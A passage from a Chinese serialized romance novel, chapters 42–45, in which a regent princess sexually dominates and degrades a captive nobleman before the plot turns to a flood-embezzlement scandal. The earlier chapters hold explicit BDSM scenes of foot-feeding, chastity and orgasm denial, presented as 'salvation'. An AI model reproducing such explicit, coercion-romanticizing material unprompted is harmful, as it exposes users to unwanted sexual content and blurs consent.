过去的创伤和可笑的自尊不容许他像狗一样趴在地上进食,支配者却不仅没有退让,反而步步进逼——玉足打翻粥碗里的餸菜,让他更加难堪地舔舐地上的残羹,就连像狗一样舔食碗里的食物也变成奢侈的奖赏。 【要是你一开始就乖乖听话,就不用作出最好的选择来吃脏掉的白粥了。】 在上位者温温柔柔的言笑之间,他学会了顺从她的意志。 “不想吃了?”越长风微微歪头,仿佛发自真心的疑问。“所以好吃是骗本宫的?” ……当然是骗你的。柳孤城在心里叫嚣着。 可是他没有选择。断断不能承认他不想吃自己在这座府第里唯一能吃的碎肉白粥,也不能承认他不想“吃”自己刚刚在桌下狠狠地啃咬过的玉足。 “……不是,奴想吃。”柳孤城声音低哑,轻得像是随时会消逝在微风拂过之际。 在越长风含笑的注视之下,高高仰起的脖颈一点一点的低下去:“多谢主人。” 菜肉清粥还是一如以往的香口,女郎的脚也没有什么味道——毕竟就算是有,他刚才又啃又咬的都已经“吃”了那么久,早就应该已经习惯了。 习惯不了的,只有挥之不去的羞耻感和屈辱感,如影随形的提醒着他自己的身份和处境。 玉足的足背朝上弓起,形成了碗状兜住上面的粥菜。柳孤城低下头去,像小狗一样伸出舌头舔食,颀长精壮的背影在低伏的姿势下显得别样柔美。 在这样的姿势下男人无法看见自己,越长风的眼神便更加肆意的在他身上游走,目光炽热带着毫不掩饰的占有欲和控制欲。 “柳郎还记得当初是怎样学会进食的么?” 柳孤城动作一顿。 越长风用沾着粥水和唾液的趾尖踢了踢他温热红润的嘴唇。 “……记得,主人。” “你看你现在,是不是听话多了?”越长风散漫的轻笑:“要来的,终是会来的。” 柳孤城很清楚她指的是什么。 当日她把粥菜用脚踩翻在地,给他三个选择:吃碗里的、地上的、还是脚上的。 他“选择”了吃碗里的,可是那根本不是选择,到头来还是要乖乖地把地上的舔掉。 然后她把洗脚水亲自端了进来,像悲天悯人的神祇一样把他从最后一个也是最屈辱难堪的选项中拯救出来。 直到今天,他才知道越长风根本就没有拯救他的打算。 堕落的深渊本就是面前的支配者为他而设,她又怎会把他从深渊里拉出来? 她先是故意把他迫到墙角,让他全身上下只有最高傲洁净的一张嘴可以制止她把他暴露人前的恶劣动作,还让他感受到了一丝叛逆的快感。 最终,顺理成章地让他心甘情愿的接受了当初的第三个选项。 天罗地网,他逃不掉。 一碗粥分了几趟才舔食完成,柳孤城抬起头来,脸上像花面猫一样都是粥菜的痕迹,配着有些迷茫的双目狼狈至极。 越长风低低一笑,笑声里是难得的轻松和愉悦,玉足在他戴着“规矩”的身前随便一抹。 然后在他红得快要滴出血来的耳垂上轻轻一夹,拨弄了一会后松开变得更加发烫的耳珠,却没有停下动作,而是顺着他的耳根滑向颈侧,趾腹在白玉般的皮肤上轻佻地摩挲抚摸,感受着男人吞咽时喉结的骨碌滚动。 她的动作挑衅而肆意,声音也是慵慵懒懒的,说出的话却是一针见血:“柳郎是不是觉得,既然要来的还是要来,之前给你的选择还有什么意义?” 柳孤城眼帘微垂,长长的羽睫轻颤,却掩不住眸光里的烈火灼然。 “主人的意愿,就是奴的意愿。” 越长风啧啧的笑:“口不对心的小骗子。” 嘴里是这么说着,越长风的表情却没有一丝不悦,反而有了掌控欲和挑战欲被满足的快慰。趾尖顺着他的颈侧滑到锁骨,在那道深深的疤痕上用力一按,男人的身体不由自主地重重一震,呼吸瞬间乱了节奏。 玉足依旧点在男人身上,她微微俯身,居高临下的凝视着他明明不驯却还要装作从服的眉眼,声音微沉,缓缓说道:“人生在世,其实本来就是不由选择的,不是吗?” 她的声音温温柔柔的,却没有平时那种在温柔表象之下的轻蔑和残忍,沉稳的声音反而给人一种真挚诚恳的错觉。 “每一个人来到这世上本来就不是自己的选择。你自出生以来便活在柳家和前任家主的拘束之下,没有人格,没有尊严,更加没有选择任何东西的自由。”越长风顿了顿,意味深长的笑笑:“但其实不止是你,命运本就没有真正让人自己选择的自由。” “所以你终于摆脱作为耻辱的命运 ,成为掌控家族的新任家主,做的第一个自由选择就是跪在我的脚下,重新交出你的选择权。” 不是这样的。 柳孤城在心里大吼。他比她知道的远远更早便摆脱了自己因出身而被迫承受的卑贱命运,他凭自己的实力离开柳家,就算是搬到贫民窟里一无所有还是靠着自己的双手成为榜首枪替,最终踏上影子翰廷里至高无上的阁主之位靠的全是自己的深谋和狠戾。 他摇了摇头,语气是隐忍的痛苦:“这只是交易条件。” 越长风也不急于拆穿,只是好整以暇的笑道:“但你还是接受了,不是吗?” “这世道从来都不会嘉奖有独立个性的人,无论高低贵贱,人的一生都不被允许偏离原定的轨迹,所以每一个人自出生以来便一直在学会接受,学会妥协,学会欺骗自己人生还有身由自己的选择。” “对于自己人生的无助和痛苦,有些人选择逃避,有些人沉迷在无止境的思考之中而变得更加痛苦,但本宫选择面对……和救赎。”越长风顿了顿,再次露出了高高在上的悲悯和施舍,却不知是不是柳孤城的错觉,这次好像还真是有那么几分真诚。“本宫为你建立的规矩和制度,是在拯救你。” “放弃你这一生本来就没有的选择,不要再继续自欺欺人,你便不会陷于由这些矛盾带来的痛苦和无奈。就像今日一样,本宫会为你作出选择,你会感到归属感,活在本宫的管教之下,你永远都会是安全的。” 柳孤城紧抿着唇,没有说话,身体僵硬仿佛陷入了天人交战。 通通都是歪理,悖论……她不是指望自己会相信这些废话吧? 他僵硬的抬首,直直对上了居高临下的支配者那双深邃的桃花眼。 里面没有一贯肆慢轻蔑的笑意,姿态虽是高高在上,眼中却只有发至内心的真诚……以及同情。 仿佛她真真切切的经历过这些无助和痛苦,而现在也真真切切的想要将他拯救出来。 柳孤城双目迷离,火光忽明忽灭,在那一刻仿佛有些微的动摇。 ——然后在下一刻,火光再次燎原。 不。 他要的不是她以救赎为名的驯化和驾驭。 在他脱离柳家进入聚贤阁,开始筹谋夺权的那一刻他便已经很清楚。 他要的是毁灭这一切,然后推倒重来。 第43章 第43章说真话、是想要还是不想…… 柳孤城对于越长风口中关于这个世道的“真谛”早就已经看得清清楚楚。 人的出身决定一切,权势即是真理,没有公义,也没有选择。 君君臣臣,父父子子,阶级固化,世道腐朽入骨。 从暗卫营的柳十二到贫民窟的无名枪替,直到成为聚贤阁那座奢华糜烂的地下宫殿唯我独尊的主人,柳孤城什么也看过了,什么也走过了,对自己的初衷却反而更加坚定。 但是,要把一切推倒重来,他需要比作为既有体制的朝廷更加强大的力量。 能做到这一点的,只有把四大世家齐聚一堂的地下朝廷聚贤阁。 柳家的百年家业——包括柳时言曾经经营的那些地下钱庄——早已被他掏空,而他也透过聚贤阁逐步将其他三大世家掌在手里,把可以为他所用的财权势力都转移到自己名下。 曾经的聚贤阁是废太子和四大世家共同维护权贵利益的利益共同体;如今他是阁里说一不二的独裁者,终极的目标却是摧毁这个利益共同体。 而他最后要做的,就只是打入朝廷内部,分崩离析这一切的万恶之首:皇权。 但他现在却在皇权面前跪了下来,卑躬屈膝地在它的脚上舔食。 【阁主还记得你的理想,是什么吗?为什么我从你的身上,看到了这么多的矛盾?】 顾锦卿充满痛苦和挣扎的质问言犹在耳,柳孤城在聚贤阁里面对他的时候还可以泰然以对,理直气壮的把问题反射给他,表现出自己从来都没有动摇过的决心。 可是,时过境迁,他却藏在书案下面,身上带着残酷淫靡的条条金链,任由代表皇权的女郎轻贱玩弄,用自己对着顾锦卿颠倒黑白、能言善辩的嘴,在他看不见的地方伺候取悦女郎的玉足。 是什么时候出现了这种割裂? 是在正旦日时,他明知她会来到柳家墓园装模作样的拜祭亡夫,所以偏偏从聚贤阁通往柳家墓园的地面入口出来,然后站在曾经的“少主”陵前守株待兔的等候着她的前来? 还是在八年前,当他正在筹谋夺取聚贤阁的核心大权的时候,她恰好代他处理掉了这条路上最棘手的两件障碍物? 还是在十二年前,他躲在见不得光的阴沟里,第一次看见了“少主”身边沐浴在阳光下的明媚少女? 黑眸和他躲在的角落里一样黯淡无光的柳十二看着那张冶艳张扬的笑颜,美丽的桃花眼里里眸波流转,闪耀着幸福的光芒。 那是一个什么都有的人。生于天家,自小便拥有属于自己的尊贵身份、父母为她铺好的康庄大道,毋须去谋算什么、去为什么而向人低头,还有一颗懂得去爱的心,还有对美好的憧憬。 柳十二第一次生出了毁灭一切以外的想法。 什么都没有的他,还想拉着一个什么都有的人沉沦。 ----- “我不要这样的拯救。”柳孤城倔强的仰视着头顶的支配者,眸中一片坚毅:“就算是奉你为主,那也不过是暂时的,我的意志永远都只属于自己。” 听见他不知哪里来的底气,就连她先前规定的敬称和贱称也不用了,但越长风也不生气,只是定定地注视着脚下男人黑眸里熄灭又重燃的熊熊烈火,目光是掌控者的兴味和自得。 她没有看错他,桀骜不驯的狼可没有那么容易在她的几句话之下屈服。 但没关系,她喜欢这双眼睛里的熊熊烈火。那是她在柳时言眼中没有看见过的,勇于逆流而上对抗这个世道的叛逆。 ——换一种方式和他玩玩,也不是不可以。 点在柳孤城胸膛上的玉足往下滑去,越长风同时俯身,鼻尖几乎贴上他的耳垂,温热的气息喷洒在男人的耳廓上,看着他身子一僵,耳根变得更加通红,她愉悦的轻轻一笑。 “小骗子。” 她近来似乎很喜欢叫他小骗子,柳孤城已经分不清楚她到底是真的看穿了他,还是不过是调情之语。 越长风在她的耳垂舔了一下,感受到他下意识的一下战栗,往他的耳中低笑:“本宫跟你说过,柳郎这个满口大话的毛病,是真的要改改了。” 声音温温柔柔的宛若情人之间的呢喃,仿佛情深,却实是冷酷无情。 微凉的软舌往下滑去,越长风把头埋在男人的脖子上,忽轻忽重的亲吻啃咬,留下奴隶归属主人的一个个印记。 笼子里可怜兮兮的金丝雀奋力抬起头来,却冲不破笼子的桎梏,发红的头顶狠狠撞在笼子顶端,柳孤城发出了一声似是悲鸣似是隐忍的哀号。 越长风伸手隔着笼子轻轻摩挲笼中鸟的头顶,雀儿似乎喜欢这样柔情的对待,甚至在她的抚慰之下留下了一滴清泪。笼子顶端的金铃随着雀儿的挣扎摇曳,发出了清澈的叮当声。 “柳郎喜欢这样被对待?”女郎闷闷一笑,从男人的脖颈之间抬头,目光热切而温柔。 这样温柔的抚慰对男人来说似乎比无情的管教更加让他感到羞耻,同时也在他身上得到更多正面的反应,此刻柳孤城的呼吸明显加速,呼在支配者脸上的气色也变得燥热而浑浊,但他还是咬了咬牙,固执地从牙关之间挤出:“不喜欢。” 越长风但笑不语,打开了笼子的锁。一直被圈养着的金丝雀一下子冲出牢笼,高高的仿佛一下子竟有苍鹰翱翔之势。 越长风安抚着金丝雀没有桎梏之下昂得更高的头,动作慢条斯理的,轻柔却充满掌控意味,施加着无形的威压。 清泪沿着可怜巴巴的金丝雀躯干流下,柳孤城却依旧紧抿着唇,牙关紧咬,不让自己发出半点声音。 “竟然……还在忍耐。”越长风啧啧称奇的说着,指尖漫不经心的一挠头顶。 “呃……” 越长风轻轻一叹:“柳郎还在捍卫那不重要的尊严么?” 柳孤城想也不想便反驳:“才、才没那回事!我真的……还有,尊严并不是……” 看着他结结巴巴的一句话也说不完整的样子,越长风愉悦的呵笑出声。 “柳孤城,你总是 比我想像中更加可爱。” 她的目光热切而真诚,一边呼唤着他真正的名字,柳孤城虎躯剧震,一时之间忘了说话,雀儿的泪却是流得更凶了。 “可是,”越长风眼眸微眯,闪铄着危险的光芒,“你今天要学的是——只有诚实以对,才能得到想要的东西。” 她松开了抚摸金丝雀儿的手,身子后倾,懒洋洋的倚在宝座的靠背上面,转而用脚尖轻踢男人的大腿内侧。 “说罢,你想要什么,嗯?” 柳孤城声音沙哑,艰难的挤出几个字来:“没有什么……主人。” 玉足一挥,生生踢下了男人胸前的其中一条“规矩”。 在突如其来的痛楚之中,越长风弯下身子,温柔缱绻的吻上他的双唇。 唇上和身上的割裂感快要把柳孤城生生逼疯,他只能在唇舌交缠之间迷迷糊糊的哑声哀求:“求求你……主人,奴不要了。” 越长风拉出他的小舌挑逗拨弄,迫它与自己共舞,依依不舍的玩弄一番后才一手轻抚唇上红肿,另一手轻抚他身上红肿,温柔而残忍的回绝了他:“本宫说了,我们今天是来练习怎么说真话的。” “你想要什么,诚实的告诉本宫。” 柳孤城前一刻还沉醉在温柔与残酷、天堂与地狱的割裂感之中,狠咬自己的舌头用痛感强迫自己回过神来,猛力摇头:“奴想要……主人的慈悲……” 越长风在他颈侧一咬,柳孤城只感觉到酥麻感一下子冲上大脑,几乎便要失守。 他却很快便重新稳住,只听支配者不解的道:“为什么就不肯对本宫坦诚呢?” 她一脸茫然的看着他,仿佛在真心思考这个问题。 过了一会,才自言自语般笑道:“那大概是因为,柳郎太自大了。” 她一边在男人锁骨上的伤疤落下绵绵细雨一样的温柔轻吻,一边像轻挠宠物一样在金丝雀的头上不停快速挠着,在男人忽急忽缓、显然乱了方寸的喘气声中,与手上动作截然相反的平静续道:“无论是谁,你都不相信。” “隐藏自己,不信别人,在赌桌上是必须学习的一课。可是——” “在本宫这里,绝不会为你带来任何好处。” 柳孤城也不知有没有听见她说的话,他浑身发红,燥热难耐,开始语无伦次的重复:“快停下来,主人,求求你,快停下来……”、 金丝雀受到突然而大量的刺激,偏偏受制于人,只能在主人手中微微抖动。越长风用掌心封住雀儿微微张开的嘴,居高临下的看着脸色一阵青一阵红的柳孤城,淡淡道:“你还不说真话么?” “你是想要,还是想停?” 柳孤城什么也顾不得了,燥热的双唇主动往支配者的口中送去,一边放开自己贪婪的索要,一边迷糊不清的大喊: “想、想要,是想要!” 第44章 第44章你配么? 越长风回吻着他,感受到柳孤城的舌头灵活地扫过檀口里的每个角落,饥渴难耐的索求和讨好。她眼眸半眯,好整以暇的享受男人濒临崩溃之际下意识的奉献和取悦。 半晌,四唇微分,还拉出了暧昧的涎液丝条。 银铃般清脆的笑声响起,伴随着男人身上摇摆不定的铃铛奏出叮叮当当的乐声。 “很好。”越长风眸中闪过得意的神色,一下子放开了一直挠着手下金丝雀儿的手。“你终于学会说真话了。” 桎梏已久的金丝雀正要一飞冲天之际,却忽然一下失了重心,不停的抖动着却是卡在那里不上不下的,只是可怜兮兮的往外淌着泪水。 越长风看着还在颤抖、泪流满面却无法得到真正释放的金丝雀,掌心安抚似的在它依旧红肿的头顶打转,入手烫热,丝丝悲鸣似的哀呜声从男人口中溢出,模样可怜极了。 “可惜。”她摇了摇头,眼尾微垂一脸真心实意为他感到婉惜的样子。“太迟了。” 她把玩着脆弱无依的小鸟,在柳孤城浑浊难耐的鼻息之间,温温柔柔的教诲:“下次想要什么,记得诚实地说出来。” “……是,主人。”柳孤城声音低哑,带着一丝呜咽。 男人的脊梁挺直而顺从,像一尊被精心打磨的雕塑木偶,散发着一种扭曲的美感。 越长风把给他除下的笼子放在地上,手指在笼子前扣了扣,“自己把笼子戴上。” 柳孤城看了看兀自高昂的鸟头,愕然抬首,与越长风对上的目光竟有两分自卑自贱的哀求。 他的内心似乎在天人交战,脸上表情变了又变,良久才嗫嗫嚅嚅的说:“主人……求求你。” 越长风秀眉一挑。“求本宫什么?” “求主人……”柳孤城咬了咬牙,“不要让奴戴上。” 越长风唇角微勾,露出一抹会心的笑,“很难受?”微扬的尾音长长的,她显然知道答案,不过是为了戏谑逗弄而问。 “……是,主人。” “想要得到解脱?” 柳孤城绝望的合上了眼睛。支配者的言下之意,笼子是没有不锁的可能了;但或者可以让他不那么难受? “想、想要……主人。” “你配么?”越长风眼神骤冷,声音还是轻飘飘的,语气却陡然严厉起来。“你的东西属于本宫,解脱本来就不是你的权利,而是在你足够讨好本宫之后才能得到的奖赏。” “本宫让你坦诚以对,你做到了么?”她坐直身子,一下拉开两人之间本来看似亲密无间的的距离,居高临下的注视着他,“所以柳郎觉得自己做过什么,值得本宫的施予?” 柳孤城没有回应,眸光晦暗,默默低下头去拾起了地上的金丝笼子。 金丝雀的脖颈高高仰起想要高飞,却只能锁在笼子方寸之地。 越长风好像还没见过他这般可怜巴巴的模样,就连那双眸子里不屈不挠的熊熊烈火也几乎要被水光淹没。 ——但也只是几乎。 所以,她在心里对男人生出的怜惜之心也只是仅止于“几乎”而已。 越长风靠回宝座的椅背上,把手按在男人的头顶,指尖在他凌乱的发间穿梭而过,动作不重却带着不容抗拒的掌控意味。 柳孤城定定的跪在那里,任她摩挲抚弄,双目渐渐放空,笼子里的金丝雀也慢慢失去了脱笼而出的焦灼而变得萎靡。 却听女郎冷不丁地突然开口。 “现在本宫给你一个机会来讨好我——回答我,四大世家背后的真相是什么,是谁令你让本宫不要再查下去了。” 她顿了顿,见柳孤城沉默不语,薄情的唇角微扬,“柳郎今天是来学说真话的,现在证明给本宫看,你到底学会了没。” 偌大的书房里只有一片死寂。 柳孤城想了很久,比人生里做的每一个抉择用的时间都要久。 “那不是一个什么人。”他低眉垂首,半真半假的说:“而是在所有朝廷及不着的地方,天下间所有事物运行的推手。” 他顿了顿,仰首目光平静的看着她,声音低沉:“就像天地万物都自有天道规矩一样,在天下万民日复一日的生活之中也自有一套运行的规矩。” “宫城里的朝廷不过是以皇权之名强加于自然规矩之上的人为体制,但如果在朝廷以外拥有天下间大部份权势和财富的人组成一个利益共同体,便可以操控这套自然规矩,成为真正推动天下大势的朝廷。” “也就是所谓的影子朝廷。”越长风淡淡道。 柳孤城仿佛第一次听见这个词语一样,思索半晌才恍然大悟的微微一笑,目光真诚得看不出一丝破绽:“没错。” 越长风听着他一大通的故弄玄虚,也不急于拆穿,只是待他说完才冷笑一声:“所以你想说的是,你和我都无法在这所谓的大势之下逆流而上?” 柳孤城沉默了。 他自然不是这么想的。 他走的不只是逆流之路,更是以一己之力,与所谓的大势玉石俱焚的路。 但他知道越长风想要的是掌控这个大势,让它臣服在自己的意志之下,跟随她的意向来走。 从根 本上,他和女郎之间的分歧便已是南辕北辙。所以柳孤城只是定定的看着她,明净如湖的眼眸中洗去晦暗之色,只有一片诚恳和真挚。“在不可逆的大势之中,你我……都不过是蝼蚁而已。” 越长风目光如炬,直直钉在男人一片坦荡的眼眸之中。 她一点也不相信柳孤城的鬼话连篇,什么大势,什么蝼蚁,她从来就不信天下间有她所无法掌控的东西。 可是小骗子那张脸上的表情过于真诚,真诚得让她陷入了一下迷惘。 脑海里忽然掠过一个念头,越长风心随意动,玉足从裙下伸出,一脚点在金丝雀笼的顶端。 笼子上的金铃叮叮当当的响起,鸟儿受到刺激,微微抬起头来,渗出了一丝泪痕。 越长风脸色阴沉,一言不发,只是把沾了泪水的脚送到跪着的男人嘴边。 趾尖在唇上方寸之处悬吊着,微乎其微的勾了一下,暗示的意思再也明显不过。 ——刚刚才做过一次的功夫,再做一次其实也并没有那么难吧? 柳孤城认命的合上眼睛,齿关打开伸出舌头,舌尖止不住的颤抖,却还是顺从地贴上了圆润的趾尖。 越长风的嘴角勾起一抹带着戏谑意味的弧度,似笑非笑的看着工作中的男人专注甚至虔诚的模样,也不出声打扰,只是静静地享受着被伺候的满足感和征服感。 直到趾尖被洗干净又沾上别的水渍,她才把脚抽出,在男人滚烫的脸颊上拍了拍,顺手抹去脚上水渍。 “柳郎学得很快,短短时间便这么会伺候主人了。”她的声音轻柔,不掩当中的满足和得意。 柳孤城也不知自己是怎么把这样极尽屈辱的事做得那么自然的,羞愧的低垂着头,却不得不回支配者的话:“……多谢主人。” 越长风懒懒靠着宝座,用脚勾起他的下巴,像逗狗一样挠挠他的脖子,“所以柳郎觉得你刚刚为本宫做的事,是属于天道自然的一部分吗?” “是人不可逆的大势所趋吗?” 柳孤城身躯一震,他终于明白了越长风的用意。 没有尊严、卑躬屈膝的服从伺候一个女子,本来不是人的天性,他会变成这个样子全是越长风这些日子以来的调教结果。 是他选择了被她下意识地驯化的结果。 见柳孤城一脸愕然的甚至忘了回话,越长风没有放过他,而是步步进击:“那么你凭什么觉得本宫改变不了所谓的自然,逆不了所谓的大势?” 过了好一会儿,才听柳孤城低低道:“奴不敢。” 是不敢,不是不觉。 越长风轻轻一笑,玉足在光滑白净的脖子上打着圈圈:“看来柳郎身上带着的规矩还不够,脖子上可能还要加点东西,才能更加明白自己的身份。” “本宫的奴只需要坦诚和服从,不需要去为主人做判断。” “你只是本宫的掌中玩物,我会操控你的一切,享用你的一切,把你玩到玩腻为止……然后,把你丢掉。” 柳孤城被迫仰首,眸中一闪而过的晦暗阴狠一丝不落的被越长风看在眼里。 “……是,主人。”他依足规矩说着她准许他说的话,沙哑的声音却没有温度,比以往任何一句屈辱自贱的话都要说得更加咬牙切齿。 她还不清楚他到底隐瞒了自己多少。他对于影子朝廷的认知,那些她一点也不相信的认命之语——只能证明他是一个深藏不露而且极度危险的人。 可是,他的身体和下意识已在被她慢慢重塑。 如果把他玩坏然后丢弃,他大概会彻底疯魔的吧? 这样一头恶狼的反噬力量,到底会有多大,会把她毁掉吗? 越长风悠悠把脚收回,感觉到男人下意识的往前拱了一下,愉悦的轻笑:“想尽一切办法来取悦本宫,不要让本宫生厌,本宫不会丢掉你的。” “本宫给你时间好好想想,再来告诉本宫,关于影子朝廷——你的答案是什么。” 第45章 第45章突变、剧情转捩点 越长风还未等到柳孤城的答案,朝廷里却出了大事。 江南突发水灾,工部早年建下的堤坝却在这时倒塌,玄武卫奉命彻查,随即揭发出工部在江南的一连串水利工程统统偷工减料、私相授受,涉及银两数目以万计。 夜半三更,中书省里一片黑沉沉的,只有政事堂还亮着微弱的灯火。 沈约坐在案后埋头苦干,剑眉深锁,一向明亮的星眸也因染上疲意而变得晦暗。 夜黑如墨,夜间灯火有限,中年男人微眯着眼,逐字逐行的阅读着工部近十年来的工程记录和户部所存近十年来批出银两的账本,眼中干涩让他不禁抬手揉揉,长长叹了一口气,却很快便把注意力放回面前厚厚的文书上。 政事堂的大门嘎吱一声被打开,沈约一下惊醒,却是头也不抬,只是沉声问:“什么人?” 来人不答,直直走到沈约办公的桌案前,微微俯身,隔着桌子笑意盈盈的凝望着他。 “老师不欢迎我吗?” 沈约愕然抬首,无奈的叹了一口气:“殿下。” “……夜深了,殿下怎么还不歇息?”男人的语气是属于师长的语重心长,带着淡淡的宠溺。 越长风绕过桌案走到男人身后,双臂如蛇攀上他的后背,越过肩胛落在他的胸前,玉指像吐信一样在他的胸腹之间游走。 “老师,”她摸着他明显突出的肋骨,答非所问:“你瘦了。” 沈约:…… 越长风把头埋在他的后颈上,温热的气息呼在他苍白嫩滑得近乎病态的肌肤上,满心满眼享受着“老男人”对上自己的无奈和无声纵容。 “殿下,臣这是在做正事。”沈约拉下脸来,一本正经的样子,低沉的嗓音里丝丝的沙哑却已悄悄地出卖了他。 越长风闷闷一笑,在他胸前游走挑逗的双手改为环抱,身子也紧紧贴着他的后背,感觉到他因为自己的动作而禁不住的战栗,一边故作正经又一边不去抗拒自己的亲密接触。 沈约头也不回,继续翻着手中文书,目光一动不动的向前直视,看在她的眼里却更像是欲盖弥彰。 ——假正经的老男人,实在是太可爱了。 “老师忧国忧民之心,学生敬佩不已。”她从沈约的后颈处抬起头来,一口衔着他的耳尖,看着他的耳根刷的一下子变得通红,在他的耳边轻轻呢喃:“学生最喜欢老师了。” 沈约静默半晌,低声道:“骗人。”他自问最是了解越长风,柳时言还在生的时候她最喜欢的人就不可能是他沈约,而现在……大概也不会是他。 不过是毫不走心的随口哄骗罢了。 越长风笑了笑,也没有反驳,只是放开了他,随手拉了张椅子在沈约身旁坐下。 “江南水灾的事,老师怎么看?”女郎敛了调笑挑逗的神色,一说起政事来便又是那个运筹帷幄的天下主宰。 沈约放下手中文书,直直凝视着她,面色凝重:“大水本是天灾,可堤坝倒塌就是人祸。” “而这人祸源于负责监管工程的工部、负责批出银两的户部以及负责提供建材的商行私相授受,一环一环的贪墨,过程中经手的每一个人都在蚕食一点朝廷银两,最终剩下的便只有一发大水便倒的堤坝。” 沈约每说一句,越长风的脸色便冷凝一分,听到最后的时候,眸光里已是毫不掩饰的杀气。 “当年经手的工部尚书是本宫那好公公,户部尚书是致仕还乡的程家前家主,这些人都难辞其咎,但也同样难以追究。”越长风恨恨道。 当中发生了什么事,数以万计的贪墨银两下落何在,难道真的要随着这两个人的退场而永远不得而知了吗? 她不甘心。 沈约也看出了她的不甘心,轻轻叹了一口气,温声道:“殿下放心,臣不会让真相永远埋没的。” 越长风看着他温和而坚毅的样子,躁动的心也安了一些,感叹道:“这天下有老师这样劳心劳力一心为国的人,是万民之幸。” 世道腐朽入骨,被影子朝廷控制的所谓大势也许像柳孤城所说一样,但朝廷一日还有像沈约和顾锦卿这样相信公义并积极求变的人,她就不信不能逆流而上,反控大局。 中年权相摇了摇头,一直压着的嘴角微勾,严肃的面容上竟然多了一分狡黠和魅惑。 “是长风之幸。”他似有若无的笑着,“为师对长风应承过的,要为你守住这片天下。” 身份称呼的转换让两人之间的气氛变得微妙,而表面总是一副庄重严肃的中年男人也总是懂得在什么时候挑起这种微妙的气氛。 越长风看着那双似笑非笑的星目,一点一点的凑上前去,玉手极尽轻柔的抚上他的脸颊。 “老师……” 她轻轻呢喃一声,忽然回过神来,重新往椅背上靠去,一下子间再次变得认真起来。“老师现在有什么打算?” 沈约脸上的微妙笑意一闪即逝,眨眼间又变回了沉稳正经的相爷。 他若无其事的理了理被越长风弄皱的衣襟,缓缓说道:“臣向殿下请旨前往江南赈灾。”他顿了顿,“也只有由臣亲自前去查明真相,臣才得以放心。” 越长风心念一动,脱口而出:“我和老师一起去吧。” 沈约定定的凝视着她,伸手摸摸她鬓边垂落的一缕秀发,有些不忍的摇了摇头:“臣走了之后,殿下必须留在京中处理大局。” 越长风也不知道自己为什么会说出那样的话,明明……在她坐上那个万人之上的位置时,便已经注定了她离不开环着帝京的四面高墙。 就算是为了公事也不可以。 在影子朝廷虎视眈眈之下,作为摄政长公主的她一旦离开,便会失去对朝廷的全面监控和完全控制。 她很清楚沈约眼中的不忍从何而来。在活着的人之中,只有他真正认识过去的鸢鸢,知道曾经的鸢鸢有多么渴望走出帝京,自由自在地探索外面的大千世界。 现在大权在握、架空皇帝的昭阳长公主,被自己渴望掌控的无上权力困在了四面高墙之中。 “本宫晓得的。”越长风自嘲的笑笑,没有表现出多少失望之色。“柳孤城给了我两本帐簿,那是……柳时言的地下钱庄的帐簿。” 看向沈约的目光变得冰冷却也更加坚定:“影子朝廷透过地下钱庄洗白那些贪墨所得的黑钱,我一定会找出那些银两的下落。” 听见“柳孤城”三个字,沈约想起了长公主府里自己“被迫”目睹的调教现场,脸色微微一变。 在柳时言之后,她没有再对任何一个人付出真心,可是她虽薄情,却并不无情;那样毫无怜悯的残忍和暴戾,他只在大传胪那日在长公主府见过。 那个像深渊一样阴沉而危险的男子,无论是好是坏,在她心里终究是不同的。 他张了张口,终于欲言又止,只是用修长的手指梳着她的鬓发,良久才点了点头。 ----- 长公主府里,柳孤城穿着薄薄的纱衣,在庭院里漫无目的地踱步。 越长风的规矩很简单,她不在府中的时候,柳孤城可以自由在后院行走,在室外的地方也不用跪着,只是衣服还是只能穿主院衣橱里放着的那几件,在身上屈辱部位的条条金链都必须夹着,笼子也不能除下,每走一步身上的颗颗铃铛便响起此起彼落的叮当声,很难不惹人注目。 只是比起那些视听羞辱,自由的空间还是难能可贵,就算是衣不蔽体,冒着被下人看光光的风险,他也慢慢地养成了在庭院散步的习惯。 ——曾经多么难堪的事,原来在潜移默化之间也并不是那么难去接受。 越长风也已经有近半个月的时间没有回来了。 柳孤城透过聚贤阁死士的隐秘传信已经得知了外面发生的事,知道她日夜宿在宫中忙于政事,也知道她在查找江南水坝建造过程中,那些贪墨所得的银子去向。 而他则像等待夫君回家的妻子一样,只能乖乖呆在后院,没日没夜、漫无目的地等着夫君的一个回眸。 ——不,他只是一只等待主人归来的贱狗。 他夜里蜷缩在越长风床下脚踏上为他而造的“狗窝”,长公主的房中冬暖夏凉,“狗窝”也是出奇的舒适,他已经分不清楚自己每天早上醒来,到底是在期待还是害怕“主人”的归来。 这天一大清早,柳孤城迷迷糊糊地睁眼的时候,隐约看到了一抹女子身影。 下意识的双膝落地,跪直腰背,双腿与肩同宽,是在支配者日积月累的调教之下,标准的臣服姿势。 来人却是轻轻一笑:“常某不是你的主人,这大礼可受不起哩。” 柳孤城愕然抬首,看见侧身避开的公主府长史常茵,她一脸明显浮夸的的受宠若惊,眉眼带着促狭的笑意。 他也不知道自己脸上表情应该是失望还是松了一口气。 “常大人。”柳孤城紧绷的背部以肉眼可见的速度松弛下去,却没有站直身子,只是改成跪坐的姿势。 低眉顺眼的说:“没有主人的允许,奴不能在屋里站着,还请常大人见谅。” “这么乖?”常茵对初见的时候还是不肯低头的高岭之花竟然被驯化得这么彻底过于意外,也没发现自己就这样把内心腹诽说了出来。 柳孤城掩着眼眸的羽睫一颤,没有说话。 常茵也不纠结自己上司和她的一众面首之间的私生活,她可还有堆积如山的南境公务要处理,不过是越长风千叮万嘱让她在百忙之中把一个锦盒带出宫外,交给她的“小柳奴”罢了。 越长风在她面前打开过那个锦盒,说是宫里的将作大匠奉她旨意,精雕细琢为她的奴宠打造了一件符合他身份的饰物。 常茵想起锦盒里的那件东西,就算她跟在越长风身边多年早已是“见多识广”,耳根还是不禁一红。 她像扔走一块烫手山芋那样把锦盒塞在柳孤城手里,“这是殿下让将作大匠给郎君打造的,她的旨意是要你时刻戴着,好明白自己的身份。” 柳孤城一脸顺从,也不问盒里的东西是什么,低低应道:“劳烦常大人复命,说奴明白了。” 常茵红着脸阻止了他打开锦盒的动作:“你、你还是等我走了再戴吧。” 柳孤城默默停住了放在盒盖上的手。 常茵干咳两声,正要转身离开,柳孤城却忽然开口:“常大人……” “长公主殿下,是一个怎么样的人?” 常茵脚步骤止。 她一脸出奇的问:“郎君和殿下相处了这些日子,对她是怎样的一个人,难道还不清楚?” 柳孤城抬头,深渊一样的黑眸定定的注视着她。“我的意思是,殿下从前对我大哥是怎么样的,现在的变化也是因为我的大哥么?” 常茵没有看他,只是摇了摇头,意有所指的说:“和那些装模作样的虚伪之人不同,殿下从来都不隐瞒她的性情和欲望,从前是这样,现在也是这样。” 